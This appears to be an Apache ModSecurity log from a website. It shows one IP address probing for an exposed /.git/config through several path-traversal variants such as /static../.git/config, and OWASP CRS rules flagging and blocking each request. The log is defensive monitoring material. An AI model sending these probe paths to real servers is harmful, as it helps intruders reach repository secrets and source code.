[Sun Oct 25 02:22:28.653372 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dQAAAAo"]
[Sun Oct 25 02:22:28.653662 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dQAAAAo"]
[Sun Oct 25 02:22:28.653926 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dQAAAAo"]
[Sun Oct 25 02:22:28.781561 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/content../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3ZwAAAC4"]
[Sun Oct 25 02:22:28.789275 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/content../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3ZwAAAC4"]
[Sun Oct 25 02:22:28.789354 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/content../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3ZwAAAC4"]
[Sun Oct 25 02:22:28.789583 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/content../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3ZwAAAC4"]
[Sun Oct 25 02:22:28.789950 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/content../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3ZwAAAC4"]
[Sun Oct 25 02:22:28.805832 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/static../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dgAAAAo"]
[Sun Oct 25 02:22:28.805877 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/static../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dgAAAAo"]
[Sun Oct 25 02:22:28.805931 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/static../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dgAAAAo"]
[Sun Oct 25 02:22:28.806137 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/static../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dgAAAAo"]
[Sun Oct 25 02:22:28.806382 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/static../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dgAAAAo"]
[Sun Oct 25 02:22:28.827828 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/img../.git/config"] [unique_id "at2gJHqPPT_6tJCMTRvuNQAAAAs"]
[Sun Oct 25 02:22:28.827873 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/img../.git/config"] [unique_id "at2gJHqPPT_6tJCMTRvuNQAAAAs"]
[Sun Oct 25 02:22:28.827936 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/img../.git/config"] [unique_id "at2gJHqPPT_6tJCMTRvuNQAAAAs"]
[Sun Oct 25 02:22:28.828131 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/img../.git/config"] [unique_id "at2gJHqPPT_6tJCMTRvuNQAAAAs"]
[Sun Oct 25 02:22:28.828416 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/img../.git/config"] [unique_id "at2gJHqPPT_6tJCMTRvuNQAAAAs"]
[Sun Oct 25 02:22:28.834182 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.25:24019] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/media../.git/config"] [unique_id "at2gJAanevcJbML2Ukvm6AAAAAU"]
[Sun Oct 25 02:22:28.834236 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.25:24019] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/media../.git/config"] [unique_id "at2gJAanevcJbML2Ukvm6AAAAAU"]
[Sun Oct 25 02:22:28.834297 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.25:24019] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/media../.git/config"] [unique_id "at2gJAanevcJbML2Ukvm6AAAAAU"]
[Sun Oct 25 02:22:28.834449 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.25:24019] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/media../.git/config"] [unique_id "at2gJAanevcJbML2Ukvm6AAAAAU"]
[Sun Oct 25 02:22:28.834731 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.25:24019] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/media../.git/config"] [unique_id "at2gJAanevcJbML2Ukvm6AAAAAU"]
[Sun Oct 25 02:22:28.890101 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/images../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aAAAAC4"]
[Sun Oct 25 02:22:28.890164 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/images../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aAAAAC4"]
[Sun Oct 25 02:22:28.890234 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/images../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aAAAAC4"]
[Sun Oct 25 02:22:28.890438 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/images../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aAAAAC4"]
[Sun Oct 25 02:22:28.890773 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/images../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aAAAAC4"]
[Sun Oct 25 02:22:28.946854 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/js../.git/config"] [unique_id "at2gJMqduxFlyzJhl1wDiwAAAAA"]
[Sun Oct 25 02:22:28.946931 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/js../.git/config"] [unique_id "at2gJMqduxFlyzJhl1wDiwAAAAA"]
[Sun Oct 25 02:22:28.947006 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/js../.git/config"] [unique_id "at2gJMqduxFlyzJhl1wDiwAAAAA"]
[Sun Oct 25 02:22:28.947271 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/js../.git/config"] [unique_id "at2gJMqduxFlyzJhl1wDiwAAAAA"]
[Sun Oct 25 02:22:28.947269 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/events../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dwAAAAo"]
[Sun Oct 25 02:22:28.947322 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/events../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dwAAAAo"]
[Sun Oct 25 02:22:28.947374 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/events../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dwAAAAo"]
[Sun Oct 25 02:22:28.947545 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/events../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dwAAAAo"]
[Sun Oct 25 02:22:28.947660 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/js../.git/config"] [unique_id "at2gJMqduxFlyzJhl1wDiwAAAAA"]
[Sun Oct 25 02:22:28.947781 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/events../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dwAAAAo"]
